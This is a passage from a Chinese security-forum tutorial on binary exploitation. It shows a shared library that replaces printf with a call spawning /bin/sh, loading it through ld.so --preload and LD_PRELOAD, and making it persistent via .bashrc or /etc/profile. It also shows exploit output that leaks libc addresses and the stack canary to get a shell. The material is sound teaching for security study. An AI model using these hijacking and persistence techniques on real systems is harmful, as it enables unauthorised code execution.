    1187:       48 c7 45 e0 00 00 00    movq   $0x0,-0x20(%rbp)
    118e:       00
    118f:       48 c7 45 e8 00 00 00    movq   $0x0,-0x18(%rbp)
    1196:       00
    1197:       48 8d 45 c0             lea    -0x40(%rbp),%rax
    119b:       48 89 c6                mov    %rax,%rsi
    119e:       48 8d 05 63 0e 00 00    lea    0xe63(%rip),%rax        # 2008 <_IO_stdin_used+0x8>
    11a5:       48 89 c7                mov    %rax,%rdi
    11a8:       b8 00 00 00 00          mov    $0x0,%eax
    11ad:       e8 8e fe ff ff          call   1040 <printf@plt>
    11b2:       90                      nop
    11b3:       48 8b 45 f8             mov    -0x8(%rbp),%rax
    11b7:       64 48 2b 04 25 28 00    sub    %fs:0x28,%rax
    11be:       00 00
    11c0:       74 05                   je     11c7 <vuln+0x7e>
    11c2:       e8 69 fe ff ff          call   1030 <__stack_chk_fail@plt>
    11c7:       c9                      leave
    11c8:       c3                      ret
 
00000000000011c9 <main>:
    11c9:       55                      push   %rbp
    11ca:       48 89 e5                mov    %rsp,%rbp
    11cd:       e8 77 ff ff ff          call   1149 <vuln>
    11d2:       b8 00 00 00 00          mov    $0x0,%eax
    11d7:       5d                      pop    %rbp
    11d8:       c3                      ret

在示例程序的反汇编结果内可以发现,程序会调用LibC中的printf函数,因此我们可以自定义一个printf函数,并进行预加载,掉包LibC中的printf函数,示例动态链接库如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
源代码:
#include <stdlib.h>
 
int printf(const char* format, ...)
{
    system("/bin/sh");
 
    return 0;
}
 
编译选项:
CFLAG=-fpic
LDFLAG=-shared -fstack-protector -z noexecstack -z relro -z now

前面分析dl_main函数时,得到想要预加载机制运行有三种途径,一是借助LD提供的--preload参数,二是借助环境遍历LD_PRELOAD,三是借助配置文件/etc/ld.so.preload,下面会对1、2两种方式进行演示。

借助LD的--preload参数:

1
2
3
4
5
ld.so --preload /home/test/libtest.so ./example
sh-5.2$ whoami
test
sh-5.2$ exit
exit

借助环境变量LD_PRELOAD

1
2
3
4
5
6
export LD_PRELOAD=/home/test/libtest.so
./example
sh-5.2$ whoami
test
sh-5.2$ exit
exit

使用环境变量时需要注意它的有效范围,通过export声明的环境变量只对当前Shell有效。比如上面的示例,只要新打开一个Shell,再运行./example就会发现它是会调用正确的printf函数。

export声明的环境变量放入用户目录下~.bashrc.bash_profile时,也只能对对应用户的Shell生效,这是因为用户每打开一个Shell都会运行上面的文件,这样对应用户的Shell环境变量就一定会声明。Linux下通常会都会使用用户目录下~区分不同用户的配置,它都会作为隐藏目录.xxx存在,比如VIM的编辑信息.viminfo,用户登录时的自动启动程序.config/autostart/,以及设置信息.config/dconf/user(设置程序的信息会以数据库的形式保存)等等。

想要声明的环境变量永久生效时,则应该借助Linux通用的配置文件目录/etc中的profile文件,这样因为/etc下面设置是对整个系统生效的。比如上方提到的自动启动程序,也可也通过/etc/xdg/autostart目录设置所有用户都需要的自动启动程序。

3.2 信息泄露

通过将PWN入门-4-大闹ASLR中的示例程序添加-z relro -z now的链接选项,再次运行exploit,就会发现仍然是可以正常获取到Shell的。

这是当然的,毕竟原本也没有去改写.got.plt表,而是借助函数的返回逻辑构造ROP,运行栈上的Shellcode。

关于如何利用格式化字符串漏洞进行绕过的方式,PWN入门-4-大闹ASLR中已经进行过描述,在此就不过多赘述了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
python ./exploit.py
[*] '/home/test/aslr_bypass_example'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './aslr_bypass_example': pid 3763
[*] '/usr/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Paused (press any to continue)
[**] libc leaked address: 0x7466f8adcc88
[--] libc base address: 127985607471104
[**] canary value: 0xa7fdace8ceee9d00
[--] system@libc offset: 0x50f10, exit@libc offset: 0x3f050
[--] /bin/sh@libc offset: 0x1aae28
[*] Switching to interactive mode
$ whoami
test
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './aslr_bypass_example' stopped with exit code 2 (pid 3763)
[*] Got EOF while sending in interactive

[课程]FART 脱壳王!加量不加价!FART作者讲授!

最后于 2024-7-15 20:45 被福建炒饭乡会编辑 ,原因: 添加图片
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 21890
活跃值: (62103)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
2
图片丢失了
2024-7-15 20:28
0
雪    币: 2031
活跃值: (765)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
3
Editor 图片丢失了
okok 感谢,图片已经添加上了
2024-7-15 20:46
0
游客
登录 | 注册 方可回帖
返回
//